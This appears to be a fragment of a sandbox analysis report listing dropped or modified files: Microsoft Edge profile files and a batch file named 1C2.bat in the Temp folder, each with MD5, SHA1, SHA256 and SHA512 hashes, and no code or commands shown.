SHA256 97b8d78b73142673639ce91210a16ae878fba200c4f3eeb1e5f056cac744553d
SHA512 a1656df1be44c2e9948460bc171c8589a3ad7a8e18677118d09c89e58844f7a97efe82adfe7047a55743f340ca351e91ee5a928860d87a671fdb273edf790c55

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\598242bb-0ff1-4af8-92bc-31a314901de8.tmp

MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 4e01ad54d0fb44a4383c2914f85a50a3
SHA1 7263fc564136e3954781a4707aee40eb43cf0cf0
SHA256 b5647fae1c7abe05848700e5fcbb07100555495c083c646f9f72ecda563c08f1
SHA512 e9ba2c71f3b98fdb04bad06ea207934b7b2752bdbce2efa49c018546fc4b7df368267ccd8e840d5057661158723b57551a899c9a8f907593df70cf3b37ff807a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 0e3ab685a13dc626b80f9a62bf6ac40e
SHA1 2e8b27a3ce752d39a82e2fb57255d5bbae3478f0
SHA256 75c25b8d8556cffcac390464bd2ea7f889137e06e95f7b6a3602ffea6a8805a6
SHA512 f1d3100ea8d036fa3ec7418b6fa82f667cdd17d64cffa5bdcdcbc89c5ac69460ac3fc37e7a581168b7c6a9a1aafd5df9ddde9c95f6084c467c4b19ece61632fc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

MD5 aefd77f47fb84fae5ea194496b44c67a
SHA1 dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA256 4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512 b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

C:\Users\Admin\AppData\Local\Temp\1C2.bat

MD5 55cc761bf3429324e5a0095cab002113
SHA1 2cc1ef4542a4e92d4158ab3978425d517fafd16d
SHA256 d6cceb3c71b80403364bf142f2fa4624ee0be36a49bac25ed45a497cf1ce9c3a
SHA512 33f9f5cad22d291077787c7df510806e4ac31f453d288712595af6debe579fabed6cdf4662e46e6fa94de135b161e739f55cfae05c36c87af85ed6a6ad1c9155

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 56520a9beafd768e1d176d8f5585cfae
SHA1 100bf3c43184c7f2fa01c867847c4eecd5920f15
SHA256 7fab4365cc255218621c1f4123a55b7d03e100f797d0fab169871d28de639a9b
SHA512 6e85d98de3d3750103b67a1b1c7222fce8513d00c78aaf5b9148c48c04c97d328603d318bb6b8f3daaf9e6077358548ac087615dd3d4787af5d4fe089278470f